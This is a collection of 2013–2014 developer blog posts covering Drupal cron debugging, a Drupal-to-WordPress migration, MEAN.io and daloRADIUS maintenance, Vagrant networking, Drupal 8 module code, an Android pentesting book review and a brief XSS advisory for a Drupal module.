'Oh you lazy cron!' – learning on Drupal cron issues

Thu, 04 Sep 2014 00:00:00 GMT

We’re still working with Drupal 6 at work, and we’re triggering our notifications and other cron related tasks through a small script that crontab is running, and with the help of drush at the command line. The following problem and description of the scenario we had applies to Drupal 7 too as these are pretty much close with regards to implementation.

Drupal’s cron job will most often run smoothly and without any issues, it will appear to “just work”. The reason for that is that behind the scenes, anything related to creating scheduled tasks in Drupal will have to implement hook_cron, and simply enough, not a lot of modules will be doing that. So when you first setup your Drupal application and get it to run, you’ll wrap up any issues with cron and from there it’s smooth sailing… Or not! There are practices you should be aware of when you program modules in Drupal that are not related to cron, yet can still mess it up.

So back to the story, at some point we noticed our notifications aren’t being sent out in our development environment, and because cron is responsible for running the notifications, then that’s the immediate suspect. Problem is, debugging cron isn’t that easy, mainly because Drupal will just fire off those hooks and you’ve got no idea where the culprit code is.

Search for the problem begins by checking quickly all the modules that implement hook_cron, primarily your very own and recently added modules are the prime suspects. If that yields no results, as did in my case you’re going to have to broaden the search and a good way to quickly figure out where this happens is by inspecting Drupal’s module.inc to catch the cron hook. One way of doing that is through a debugger, another quick and easy way is by using Drupal’s own watchdog (or PHP’s own errorlog) function to capture this data:

function module_invoke_all() {  
    $return = array();  
    foreach (module_implements($hook) as $module) {  
    $function = $module .'_'. $hook;  
    if ($hook == 'cron') watchdog('cron', "hit $module cron"); // add line to log in db log  
    ...  
    }  
}

Inspecting the information there from the change or through the debugger we’ll be able to see which cron hook last ran successfully.

I will spare the rest of the debugging process but the research led to Drupal’s own implementation of hook_cron which further led to module calls of node_invoke and node_invoke_nodeapi where it was then failing. At that point, all custom, and recent changes to anything the codebase related to hook_nodeapi revealed the culprit:

function my_module_nodeapi($op...) {

    switch ($op) {

    case ‘view’:  
    drupal_goto(”);  
    break;  
    }  
}

This makes perfect sense. Nodes get loaded through the node_load() and the rest of Drupal’s hooks for the sake of handling the notifications, which in turn calls nodeapi hook all around, and having a drupal_goto() doesn’t really help drush when its running from the command line.

Lesson learned.

Migrate Drupal 7 to WordPress 3.9 – The Kickoff

Sat, 12 Jul 2014 00:00:00 GMT

With no specific reason, or maybe with regards to the strong editing capabilities of WordPress out of the box, I wanted to opt out of Drupal as my blogging platform for enginx.com. Even though I’m a seasoned Drupal developer, even authored a book on Drupal 7 Media, and presented the topic on a local Drupal conference, I decided to migrate Drupal 7 to WordPress. Drupal is suitable for many web applications, although it does require quite an effort to maintain and setup in order to fit it to your needs, while with WordPress most of the blogging capabilities are available out of the box with almost no hassle, and for a good reason – WordPress was primarily developed as a blogging platform.

My Video Course – Step by Step Drupal 7 to WordPress 3.9 Migration

I created a Video course on Udemy.com to teach you the skills of migrating Drupal 7 to WordPress 3.9.

I’d appreciate if you leave a review after taking the quick course

Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9.

The Journey

So, off I go on my journey to locate an easy process for migrating my content from Drupal 7 to WordPress 3.9 (versions are critical) and the conclusion is quickly made apparent that while there are handful of procedures, modules and guides on converting from WordPress to Drupal, the opposite flow is quite an uncharted area. This is understandable, given that Drupal is a lot more complex in terms of content structure variety as well as having more of a framework nature than a simple blogging platform, but still, I was pretty sure I’m not the only one.

Researching the migration process it yielded a Drupal2Wordpress Github repository which featured a minimal, yet effective, PHP script which claims to do the job. Unlike other solutions that I found, the migration script doesn’t require an actual live instance of both sites up (the old Drupal site, and the new WordPress site), but simply requires to be configured with the database connection details for both platforms and be uploaded to the hosting account which hosts both. Without further adieu, I jumped on to the task, and as with most things open source (and unpopular or unmaintained) – things aren’t quite working out of the box and require further development effort to fine-tune and create a solid migration.

In a follow-up post I will share more details on the process of performing the actual migration to WordPress3.9, stay tuned!

Migrate Drupal 7 to WordPress 3.9 – The Conclusion

Sat, 12 Jul 2014 00:00:00 GMT

Migrate Drupal 7 to WordPress 3.9 - To recap, in a previous post on this series, I’ve set the background for my action to migrate from Drupal 7 to WordPress 3.9. In this post, we will explore the process of making this migration happen.

If you’ve been on this search before to migrate from Drupal to WordPress, then you’ve realized that there aren’t a lot of resources, and that you may have some preferences in regards to the migration process. Some solutions that popped required to have both instances of Drupal and WordPress up and running for some reason, but that didn’t fit my requirements as I wanted to use the same domain and not needing to setup another one just for the migration process. Other solutions are of course professional support services which will perform the migration for you, but you’d have to say goodbye to a few hundred dollars to begin with (prices range from $750 to $3500 for a website migration)

Finding Drupal2Worpdress provided me a good start to get things rolling. As with most things on Github for me, I usually begin by forking a repository and Drupal2Wordpress was no exception. Quickly after I reviewed the code in the original repository I found out that the script is very small and focused, without requiring any special dependencies or extra configuration which was my primary goal – finding the most simple solution as possible. Now I’m ready to take a stub at it.

My Video Course - Step by Step Drupal 7 to WordPress 3.9 Migration

I created a Video course on Udemy.com to teach you the skills of migrating Drupal 7 to WordPress 3.9.

I’d appreciate if you leave a review after taking the quick course

Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9.

Getting to Business with Drupal2Wordpress

Drupal2Wordpress is essentially very simple. It only requires to edit the PHP code at the beginning, and set the connection information correctly for both WordPress and Drupal database. That already implies on the characteristics of this migration tool – it expects that both instances of Drupal and WordPress are available through a database connection and since this tool has to be accessible and run on the hosting account service and be triggered from the web or from a cron job (because hosting accounts do not open their database servers to the public).

Some of my fixes to this tool began with importing any content type from Drupal, yet making sure they are imported into WordPress as eligble posts content type (as opposed to pages for example, which aren’t blog related). URL aliasing has also been fixed so that imported posts in the new WordPress install are just working good, as well as another fix to migrate only approved comments. New additions to the tool included the support for migrating users, and adding a default ‘Blog’ category on WordPress and relating all posts to it (as otherwise they are not displayed).

The tool has been tested and it only requires to get a fresh installation of WordPress 3.9 to migrate any Drupal 7 site to it. You’re welcome to fork out the repository or test it and comment so we can further improve upon it.

Drupal2Wordpress – the Github repository.

MEAN.io v0.4 released – this is how you stay relevant

Thu, 03 Jul 2014 00:00:00 GMT

If you’re working with a fork of the MEAN.io github repository then you’d probably want to track it as an upstream repository to get all the updates and advances in the MEAN.io framework as it progresses.

To set the upstream tracking, if you didn’t do it already you need to perform the following:

git remote add upstream https://github.com/linnovate/mean.git  
git fetch upstream  
git checkout master  
git merge upstream/master

The above will add the official MEAN.io github repository as your upstream repository to track it, it fetches everything (doesn’t merge anything though), then you’ll be switching to your local master branch and merge any changes with the above (you can rebase too to get a cleaner copy of the repository but it’s not always recommended).

Once that’s done, you’re going to need to update packages accordingly, so run the following:

npm cache clean && npm install && npm update  
bower cache clean && bower install && bower update

If you’re still getting errors when trying to run mean or running the test suites with grunt test, then you probably need to clean up your node_modules information and re-install everything, as follows:

mv public/ /tmp  
mv node_modules/ /tmp  
npm cache clean && npm install && npm update  
bower cache clean && bower install && bower update

daloRADIUS 7th Anniversary – 2014 Wrap-up

Fri, 20 Jun 2014 00:00:00 GMT

The daloRADIUS project is celebrating it’s 7th Anniversary this month as a mature product on SourceForge and one of the most leading open source project in this industry! I had a feeling I’d need to convince you so here’s the pitch with some slides and backing this up with numbers and data:

DaloRADIUS 2014 – 7th Anniversary

daloRADIUS project was founded way back in the early days of April-May 2007.

It started out as a mundane open source project which I desired to develop due to the unsupported and lack of solution in this Network Operations Center (NOC) and overall RADIUS-based niche audience. Back then the only open source solution for managing a RADIUS based deployment was dialupadmin, which was pretty poor in features, if to be honest, and it amazed me that no one else jumped the gun here.

Illustration – The RADIUS Protocol in a nut-shell

And so it has began. I was out of work (then quitting a cool startup position due to no foreseeable career growth) and with nothing but time on my hands to kick off this project. One of the hardest thing I ever had to do was figure out how to name this project – one of the most annoying problems software engineers are faced with daily – naming variables, functions, classes and sometimes even their own projects.

If you’re hungry for the juicy gossip of why I ended up calling this project daloRADIUS, you might want to give a quick read to an interview I had with the FreeSoftwareMagazine - http://www.freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius

Drupal Performance Tuning for Better Database Utilization – Introduction

Tue, 17 Jun 2014 00:00:00 GMT

Drupal is a great CMS or CMF, whichever your take on it, but it can definitely grow up to be a resources hog with all of those contributed modules implementing hooks to no avail. It is even worse when developers aren’t always performance oriented (or security oriented god save us all) and this can (unknowingly) take it’s toll on your web application performance.

Drupal performance tuning has seen it’s share through many presentation decks, tutorials, and even dedicated books such as PacktPub’s Drupal 6 Performance Tips but it seems to be an always continuing task to get great performance so here are some thoughts on where you should start looking.

Checklist for glancing further into Drupal’s rabbit hole and getting insights on tuning your web application for better performance:

Enable MySQL slow query log to trace all the queries which take a long time (usually >1 is enough, and with later versions of MySQL or compliant databases like Percona or MariaDB you can also specify milliseconds for the slow query log)
Enable MySQL slow query log to also log any queries without indexes
Make sure to review all of those query logs with EXPLAIN to figure out which queries can be better constructed to employ good use of indexes. Where indexes are missing it’s worth reviewing if the database would benefit from modifying existing indexes (and not breaking older queries)
Use percona-toolkit to review out standing queries
Use New Relic’s PHP server side engine which can tune into your web application and provide great analysis on function call time, wall time, and overall execution pipelines. While it’s not a must, I’ve personally experienced it and it’s a great SaaS offering for an immediate solution without having to need to install alternatives like XHProf or Webgrind.

MEAN.io Session Cookie parameters

Fri, 13 Jun 2014 00:00:00 GMT

Continuing with my contribution to the MEAN.io (MongoDB, ExpressJS, AngularJS, and NodeJS) technology stack (or should we say framework by now with the progress it’s been making?) I’ve submitted another pull request to allow setting up MEAN.io session cookie parameters. It is often required for enterprise applications to set session cookie parameters and not rely on Express’s defaults. These parameters are for example the cookie expiration time, and whether the session cookie will require the website to run in an SSL-enabled environment.

This PR adds support for default parameters on the cookie session and allows developers to set them as required globally, or per environment (development, testing, and production). Description on the session cookie parameters themselves have been added as well to make this easy to configure.

daloRADIUS Import Users – fix password type

Tue, 03 Jun 2014 00:00:00 GMT

Recently an issue has been reported with regards to a defect in importing users into daloRADIUS with a different password type than the default Cleartext-Password.

The source for this problem can be tracked back to an issue that Adam opened on daloRADIUS’s discussion board, which mainly concerns with the problem of importing users where the password type field is not the default Cleartext-Password. A fix for this has already been deployed a couple months back.

Vagrant networking to enable Internet accessible machine setup

Thu, 22 May 2014 00:00:00 GMT

If you’re using vagrant, like most devopsers out there, you might have also been on the road to run it on a local development machine and make it accessible through the Internet with some NAT rules on your modem or firewall. If you experienced this, and been struggling with getting vagrant networking to function right then we will look into a working setup for this purpose.

The case where networking issues could occur, is most probably if you have configured more than one interface for the virtual machine, like I did. I’ve got one interface using NAT and the other interface is using bridged networking as you can see in the Virtualbox UI and the vagrantfile snippet:

Vagrantfile configuration snippet for bridged networking:

Assign this VM to a bridged network, allowing you to connect directly to a
network using the host’s network device. This makes the VM appear as another
physical device on your network.

config.vm.network :bridged, :bridge => 'p2p1'

Setting up vagrant networking and routing properly

Because bridged networking provides an easy mechanism for virtual machines to exist side by side with your native OS and as part of your networked appliances seamlessly, this is by far the most convenient networking path to choose. Yet, vagrant doesn’t allow for bridged networking to use a static IP setup in it’s configuration but rather this is something that you’d have to take care of on your own.

I find the easiest solution for this is to assign another static IP address, which I know it isn’t part of my home DHCP server address range, and apply it on the bridged network interface. This can be easily done as follows:

# get static ip on bridged iface
ifconfig eth1:1 10.0.0.100 up

Then, to handle routing correctly, it is required to remove the default route to 10.0.2.2 which is the address space used by Virtualbox for NAT interfaces, and instead add a default gateway entry for the bridged interface:

#get routes setup correctly
route add default gw 10.0.0.138 eth1
route del default gw 10.0.2.2

Finally, an example for proper routing, or to examine your routing in general you can consult the following routing snippet:

root@precise32:~# route -n

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.0.138 0.0.0.0 UG 100 0 0 eth1
10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth1
10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0

daloRADIUS bug fix for refill traffic or time

Sat, 17 May 2014 00:00:00 GMT

With thanks to Ezequiel Villarreal, and another fine example of the open source movement in general and the daloRADIUS users community in specific, a patch has been contributed to solve an issue with refilling a user’s traffic or time limits in daloRADIUS’s Accounting interface.

Ezequiel was kind enough to e-mail information about a problem, along with constructive feedback on the project (always great to hear!), but not without also sending the fix for it too.

> Hi! Liran,  
> I’ve downloaded daloradius, it is a great plataform  ![:-)](https://web.archive.org/web/20140625184339im_/http://enginx.com/wp-includes/images/smilies/icon_smile.gif)

> I’ve found a bug when you do a Refill Traffic, it gives you an insert error, but you could see that only debugging.

> On “./include/management/userOperations.php”You have: $sql = “INSERT INTO “.$configValues['CONFIG_DB_TBL_DALOBILLINGHISTORY']. ” (id,username,**planName**,billAmount,billAction,billPerformer,billReason,”. ” paymentmethod,cash,creditcardname,creditcardnumber,creditcardverification,creditcardtype,creditcardexp,”. ” creationdate,creationby”. “)”. ” VALUES “………………..

> There is not planName on billing_history, only you have a planId. then, refilling is not saved on that table.

> I’ve changed code to$sql = “INSERT INTO “.$configValues['CONFIG_DB_TBL_DALOBILLINGHISTORY']. ” (id,username,**planID**,billAmount,billAction,billPerformer,billReason,”. ” paymentmethod,cash,creditcardname,creditcardnumber,creditcardverification,creditcardtype,creditcardexp,”. ” creationdate,creationby”.

> The same problem on refilling time.
> 
> And it works perfectly!  
> Thank you very much!

> Best Regards,  
> Ezequiel Villarreal

daloRADIUS accounting and reporting capabilities

Reviewing book – Learning Pentesting for Android Devices

Thu, 08 May 2014 00:00:00 GMT

My personal background in computer security, penetration testing and vulnerability assessment started in my early age when I explored the world of programming, and later on practiced it more regularly when I adopted the GNU/Linux operating system. Back then, planting backdoors and holes in Loadable Kernel Modules (LKM) in Linux was an exciting journey to explore.

In the spirit of software security, in the past week I’ve been reading through PacktPub’s Learning Pentesting for Android Devices title, which is a first dive for me into the world of mobile security forensics.

The first chapter swiftly beings by introducing the reader to the Android mobile OS, scanning through the architecture layers, OS libraries, and an overview of the underlying modified Linux kernel with adoption to mobile devices. At this point already, the target audience of the book becomes quite clear – the author is aiming this book towards readers with previous security industry experience and familiarity with programming and Linux OS (or general OS architecture).

The follow-up chapters enable a more hands-on experience with an actual Android emulated environment and the author takes the reader through a review of series security related tools and begins a more in-depth security analysis in Chapter 3, such as reverse engineering Android apps with various tools (dex2jar and apktool) and exploring some well known attack vectors like path directory traversal, client-side injections and Android environment-specific vulnerabilities.

Chapter 4 is entirely dedicated to exploring network security forensics, covering various ways to sniff network traffic and perform man-in-the-middle SSL interception, where the author employs familiar tools like tcpdump and wireshark.

Last chapters are reviewing other aspects of exploiting the Android operating system, including a dedicated chapter for ARM based exploitation and old school buffer overflow review. To conclude the book, the author describes the security report document and provides template with an actual report example.

In an overall impression, the book is geared towards security professionals with experience in the mobile platforms, although Android application developers with a little bit of security experience or will to learn would benefit from this book. If you fall under any of these categories, then the author Aditya Gupta has done a great job in providing you with good reference of security tools, security overview of the Android OS and general vulnerabilities and methods of attack to be aware of.

Drupal 6 – Subscription notifications aren’t going out?

Tue, 06 May 2014 00:00:00 GMT

We recently had an issue with a Drupal 6 site, where-as notifications didn’t seem to reach their destination on user’s email, even though we verified that all users were subscribed correctly to the relevant content items. An initial investigation began with the mail server to figure out if it’s getting any traffic from Drupal, whether it’s just misconfigured, down or has any other reasonable issue that can be reverted. The mail server logs proved very quickly that the mail server isn’t getting any SMTP traffic at all, so this shifts focus into Drupal. While this can happen in a myriad of places in Drupal and due to a handful of reasons that could have caused this, there’s another quick way of figuring out if notification events are even being created at all, and that’s by going into the subscription management administrative area and just reviewing if new notifications are being created and waiting on the queue or not.

Further investigation lead to figuring out that there’s a notifications module variable which controls whether or not the notifications module will create events for content that is being created, updated, etc. In our case, due to wrong handling it was set to disregard node creation events. Deleting the variable quickly resolved the issue.

Advanced Poll 6.x versions – XSS Vulnerability

Mon, 28 Oct 2013 00:00:00 GMT

During the weekend I discovered an XSS issue with the Advanced Poll module. I’ve made sure to provide a patch and submit this to the issue queue.

I have actually submitted a few other SAs in the past, one of them was for the nice_dash module, which aims to provide a dashboard interface for Drupal administrators, but unfortunately it wasn’t yet merged to source control.

Drupal Security Advistory – XSS vulnerability in Advanced Poll module versions 6.x-3.x and prior
Project: Advanced Poll (third-party module)

Version: 6.x-3.x and earlier

Date: 2013-10-25

Security risk: Highly critical

Exploitable from: Remote

Vulnerability: Cross Site Scripting 

This module enables you to create advanced types of polls, such as binary and ranking poll, as the module calls them. The module did not sufficiently filter poll question titles for malicious JavaScript. This vulnerability is mitigated by the fact that an attacker must have permission to create or edit polls.

Versions affected
Advanced Poll 6.x-3.x and all prior versions

Solution
Apply the patch

Reported by
Liran Tal <liran.tal@gmail.com>

Fixed by
Liran Tal  <liran.tal@gmail.com>

Drupal Database Log to Syslog

Wed, 23 Oct 2013 00:00:00 GMT

Drupal Database Log is utilizing the built-in watchdog module but it can end up being quite a resource hog if you’re over utilizing it and having many modules enabled, let alone all the PHP warning and errors that it will log – causing an overkill in performance to your database with a lot of writes.

How to disable the Drupal Database Log and enable Syslog instead

Disabling the DB Logging module and enabling Syslog in Drupal 6:

include_once('includes/install.inc');
// Replacing the DB Log module with the Syslog
module_disable(array('dblog'));
drupal_uninstall_module(array('dblog'));
drupal_install_modules(array('syslog'));

This requires further configuration on the Linux side for syslog

edit /etc/syslog.conf – because default settings for the Syslog module on Drupal are set to use local0 then we should set logging from the local0 facility to a dedicated Drupal log file, so we’ll add the following entry:

# Drupal watchdog logging
local0.*        /var/log/drupal.log

By default, Syslog also logs all facilities info level to /var/log/messages. This is both annoying, because it hinders on investigating general system issues in /var/log/messages, as well as un-necessary duplication of data since this information is already stored in /var/log/drupal.log
To disable this behavior we need to tell Syslog to avoid from logging information from local0 to /var/log/messages then,
2. locate the /var/log/messages entry which should look roughly like this:

*.info;mail.none;authpriv.none;cron.none;           /var/log/messages

and change it into

*.info;local0.none;mail.none;authpriv.none;cron.none;           /var/log/messages

where we specify local0.none and Syslog knows to disregard messages from local0 facility

And finally restart syslog for changes to take effect

/etc/init.d/syslog restart

Media in Drupal 7 – presenting it in Drupal Camp Israel 2013

Mon, 21 Oct 2013 00:00:00 GMT

I attended Drupal Camp Israel – 2013 last week, and presented there about Drupal 7 Media, which is very much the title of my recently published book by Packt Publishing.

The conference organization was overall good, lectures flew smoothly, there were camera men video-taping the whole event so that’s a nice plus to watch the offline lectures for people who couldn’t attend the event. It was organized this year by Roy Segall and Anat Kahana. The conference started out with an opening panel, followed by Jonathan Sacksick from Commerce Guys, who attempted to break the language barrier and explain about E-Commerce in Drupal 7 and Commerce Kickstart in general.

My lecture was following that of Jonathan’s, and started early in the morning at around 10am. I’m not much of a talker so presenting isn’t what rocks my world, but the knowledge sharing and spreading the world is important and good for everyone. The “Media in Drupal 7″ presentation was mostly to discuss about some selected chapters from the book, namely introducing the 7.x-2.x branch of the Media module, and following up with the Canvas Field module which in my opinion not many users know about or even make use of. It’s still released as development version but it’s quite functional and I was even contributing a small patch to it while in the process of writing the book. The presentation concluded with the Google Charts API module which is a great little integration module with Google Charts (duh). It binds to Views, which allows for easy charts creation and manipulation based solely on Views UI administration, as well as exposing an API for programmers to make use of, which is really nice if you want to pull more heavy weight than what Views provides.

My slides: Drupal 7 Media – DrupalCamp Israel – 2013 by Liran Tal

And there’s even a recorded video session from the conference:

And the rest of the videos are available through the YouTube channel or the conference page in drupal.org.il:

To continue with the rest of the day… The rest of the presentations were rather nice. Idan Cohen and Ran Bar Zik, whom are both colleagues of mine, presented excellently and most of all – funny and vivid lectures on Responsive Design and Selenium/Phantom JS testing. Next there were like 3 follow-up presentations about CSS and SaaS from 3 different speakers so there was much overlapping there and that was quite annoying and boring at some point (definitely a good point for future conference organizers to make take into consideration). Amitai Burstein from Gizra had an interesting, yet somewhat marketing oriented presentation about Gizra and how they are doing development. At least we got to hear that they’re really doing a lot to contribute back to the community in their day to day development practice, so that’s always nice to hear. Closing the presentations was Lior Kesos from Linnovate with his lecture about integrating Drupal and the Mean.io stack, which stands for Mongo, Express, Angular and Node.JS, being basically the new “LAMP” kid on the block, JavaScript-wise.The closing panel of the conference also held a lottery for 3 free copies of Drupal 7 Media, courtesy of Packt Publishing. A bit of embarrassing status for me to hand out the books with some pictures, as I’m used to being the “background guy” but oh well, that went rather ok so congratulations for the new owners of the book!

Drupal 8 module development #4 – creating a settings file

Thu, 10 Oct 2013 00:00:00 GMT

In previous articles we have started with Drupal 8 initial module porting and worked our way about adding a route and implementing the settings form controller so that we can present an administrative UI for managing the various configuration options which the module exposes.

Next up will be to create and define those configurations options. In Drupal 7 we used the variable system to save and load configuration options, thus calling variable_set() and variable_get() in our modules, and all of this configuration data was saved in the database just like the rest of Drupal’s data storage. This brought clutter and quite some mess, where pure data is mixed with configuration information and such. Out of the necessity to deal with this in Drupal 7 we’ve turned into modules like Features, Strongarm and others, although none of these is an ideal solution. For this reason, Drupal 8 defined the configuration initiative which aim is to attack this problem and make this simpler.

Defining settings

For a module to declare settings, it needs to create a config/ directory in the module’s root directory and create a configuration file <modulename>.settings.yml. For example the globalredirect module has the following settings declared in config/globalredirect.settings.yml with their default options too:

deslash: '1'
nonclean_to_clean: '1'
trailing_zero: '0'
menu_check: '0'
case_sensitive_urls: '1'
language_redirect: '0'
canonical: '0'
content_location_header: '0'
term_path_handler: '1'
frontpage_redirect: '1'
ignore_admin_path: '1'

While it’s not a requirement, it is advised to also create the schema settings file which extends the exported settings with more metadata and allows for localization amongst other things. To make this happen, we will create the directory config/schema/ and inside it include the file globalredirect.schema.yml with the following content which shows a couple of configuration settings only to not spam you with code:

globalredirect.settings:
  type: mapping
  label: 'Global Redirect Settings'
  mapping:
    deslash:
      type: boolean
      label: 'Deslash'
    nonclean_to_clean:
      type: boolean
      label: 'Non-clean to Clean'

Using module configuration

We’ve seen previously how to make use of a module’s declared settings but we’ll revisit it shortly now.

To interact with the exposed settings of the module, we can make use of the configFactory and it’s setters and getters. For example, to read the module’s settings we can do:

$config = $this->config('globalredirect.settings');
$deslash = $config->get('deslash');

Drupal 8 module development #3 – adding a settings page – revision

Tue, 01 Oct 2013 00:00:00 GMT

In the previous article we introduced the configuration system and showed how to create a settings form, integrate with the configuration management system and enable our module to save it’s configuration data using this system.

As things still change pretty quickly in the Drupal 8 arena some of the items in the previous post are not valid anymore so while I’ve updated the code for our Global Redirect module on drupal/git, I wanted to post the revised and full and up-to-date (for now :)) version of the settings form:

/**
 * @file
 * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings
 * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.
 */

namespace Drupal\globalredirect\Form;

use Drupal\Core\Form\ConfigFormBase;

/**
 * Defines a form to configure module settings.
 */
class GlobalredirectSettingsForm extends ConfigFormBase {

  /**
   * {@inheritdoc}
   */
  public function getFormID() {
    return 'globalredirect_settings';
  }

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, array &$form_state) {

  	// Get all settings
  	$config = $this->config('globalredirect.settings');
  	$settings = $config->get();

    $form['settings'] = array(
    	'#tree' => TRUE,
  	);

  	$form['settings']['deslash'] = array(
  		'#type' => 'checkbox',
  		'#title' => $this->t('Deslash'),
  		'#description' => $this->t('If enabled, this option will remove the trailing slash from requests. This stops requests such as `example.com/node/1/` failing to match the corresponding alias and can cause duplicate content. On the other hand, if you require certain requests to have a trailing slash, this feature can cause problems so may need to be disabled.'),
  		'#default_value' => $settings['deslash'],
  	);

	  $form['settings']['nonclean_to_clean'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Non-clean to Clean'),
	    '#description' => $this->t('If enabled, this option will redirect from non-clean to clean URL (if Clean URL\'s are enabled). This will stop, for example, node 1  existing on both `example.com/node/1` AND `example.com?q=node/1`.'),
	    '#default_value' => $settings['nonclean_to_clean'],
	  );

	  $form['settings']['trailing_zero'] = array(
	    '#type' => 'radios',
	    '#title' => $this->t('Remove Trailing Zero Argument'),
	    '#description' => $this->t('If enabled, any instance of "/0" will be trimmed from the right of the URL. This stops duplicate pages such as "taxonomy/term/1" and "taxonomy/term/1/0" where 0 is the default depth. There is an option of limiting this feature to taxonomy term pages ONLY or allowing it to effect any page. **By default this feature is disabled to avoid any unexpected behavior. Also of note, the trailing /0 "depth modifier" was removed from Drupal 7.**'),
	    '#options' => array(
	      0 => $this->t('Disabled'),
	      1 => $this->t('Enabled for all pages'),
	      2 => $this->t('Enabled for taxonomy term pages only'),
	    ),
	    '#default_value' => $settings['trailing_zero'],
	  );

	  $form['settings']['menu_check'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Menu Access Checking'),
	    '#description' => $this->t('If enabled, the module will check the user has access to the page before redirecting. This helps to stop redirection on protected pages and avoids giving away _secret_ URL\'s. **By default this feature is disabled to avoid any unexpected behavior**'),
	    '#default_value' => $settings['menu_check'],
	  );

	  $form['settings']['case_sensitive_urls'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Case Sensitive URL Checking'),
	    '#description' => $this->t('If enabled, the module will compare the current URL to the alias stored in the system. If there are any differences in case then the user will be redirected to the correct URL.'),
	    '#default_value' => $settings['case_sensitive_urls'],
	  );


	  $form['settings']['language_redirect'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Language Path Checking'),
	    '#description' => $this->t('If enabled, the module will check that the page being viewed matches the language in the URL or the system default. For example, viewing a French node while the site is in English will cause a redirect to the English node.'),
	    '#default_value' => $settings['language_redirect'],
	  );


	  $form['settings']['canonical'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Add Canonical Link'),
	    '#description' => $this->t('If enabled, will add a [canonical link](http://enginx.com/blog/drupal-8-module-development-3-adding-settings-page-revision/!canonical) to each page.', array('!canonical' => 'http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html')),
	    '#default_value' => $settings['canonical'],
	  );


	  $form['settings']['content_location_header'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Set Content Location Header'),
	    '#description' => $this->t('If enabled, will add a [Content-Location](http://enginx.com/blog/drupal-8-module-development-3-adding-settings-page-revision/!canonical) header.', array('!canonical' => 'http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.14')),
	    '#default_value' => $settings['content_location_header'],
	  );


	  $form['settings']['term_path_handler'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Taxonomy Term Path Handler'),
	    '#description' => $this->t('If enabled, any request to a taxonomy/term/[tid] page will check that the correct path is being used for the term\'s vocabulary.'),
	    '#default_value' => $settings['term_path_handler'],
	  );

	  $form['settings']['frontpage_redirect'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Frontpage Redirect Handler'),
	    '#description' => $this->t('If enabled, any request to the frontpage path will redirect to the site root.
	                         Whatever you set as the path of the front page on the !link settings page will redirect to the site root (e.g. "node" or "node/1" and also its alias (e.g. in case you have set "node/1" as your home page but that page also has an alias "home")).', array(
	      '!link' => l($this->t('Site Information'), 'admin/settings/site-information'),
	    )),
	    '#default_value' => $settings['frontpage_redirect'],
	  );

	  $form['settings']['ignore_admin_path'] = array(
	    '#type' => 'checkbox',
	    '#title' => $this->t('Ignore Admin Path'),
	    '#description' => $this->t('If enabled, any request to the admin section of the site will be ignored by Global Redirect.
	                         This is useful if you are experiencing problems with Global Redirect and want to protect the admin section of your website. NOTE: This may not be desirable if you are using path aliases for certain admin URLs.'),
	    '#default_value' => $settings['ignore_admin_path'],
	  );

	  $form['buttons']['reset'] = array(
	    '#type' => 'submit',
	    '#submit' => array(array($this, 'submitResetDefaults')),
	    '#value' => t('Reset to defaults'),
	  );

    return parent::buildForm($form, $form_state);
  }

  /**
   * Compares the submitted settings to the defaults and unsets any that are equal. This was we only store overrides.
   */
  public function submitForm(array &$form, array &$form_state) {

  	// Get config factory
  	$config = $this->configFactory->get('globalredirect.settings');

  	$form_values = $form_state['values']['settings'];

    $config
      ->set('deslash', $form_values['deslash'])
      ->set('nonclean_to_clean', $form_values['nonclean_to_clean'])
      ->set('trailing_zero', $form_values['trailing_zero'])
      ->set('menu_check', $form_values['menu_check'])
      ->set('case_sensitive_urls', $form_values['case_sensitive_urls'])
      ->set('language_redirect', $form_values['language_redirect'])
      ->set('canonical', $form_values['canonical'])
      ->set('content_location_header', $form_values['content_location_header'])
      ->set('term_path_handler', $form_values['term_path_handler'])
      ->set('frontpage_redirect', $form_values['frontpage_redirect'])
      ->set('ignore_admin_path', $form_values['ignore_admin_path'])
      ->save();

    parent::submitForm($form, $form_state);

  }



  /**
   * Clears the caches.
   */
  public function submitResetDefaults(array &$form, array &$form_state) {
  	$config = $this->configFactory->get('globalredirect.settings');

    // Get config factory
  	$settingsDefault = $this->getDefaultSettings();

    $config
      ->set('deslash', $settingsDefault['deslash'])
      ->set('nonclean_to_clean', $settingsDefault['nonclean_to_clean'])
      ->set('trailing_zero', $settingsDefault['trailing_zero'])
      ->set('menu_check', $settingsDefault['menu_check'])
      ->set('case_sensitive_urls', $settingsDefault['case_sensitive_urls'])
      ->set('language_redirect', $settingsDefault['language_redirect'])
      ->set('canonical', $settingsDefault['canonical'])
      ->set('content_location_header', $settingsDefault['content_location_header'])
      ->set('term_path_handler', $settingsDefault['term_path_handler'])
      ->set('frontpage_redirect', $settingsDefault['frontpage_redirect'])
      ->set('ignore_admin_path', $settingsDefault['ignore_admin_path'])
      ->save();

    parent::submitForm($form, $form_state);

  }


  /**
   * Returns an associative array of default settings
   * @return array
   */
  public function getDefaultSettings() {

    $defaults = array(
      'deslash' => 1,
      'nonclean_to_clean' => 1,
      'trailing_zero' => 0,
      'menu_check' => 0,
      'case_sensitive_urls' => 1,
      'language_redirect' => 0,
      'canonical' => 0,
      'content_location_header' => 0,
      'term_path_handler' => 1,
      'frontpage_redirect' => 1,
      'ignore_admin_path' => 1,
    );

    return $defaults;

  }

}

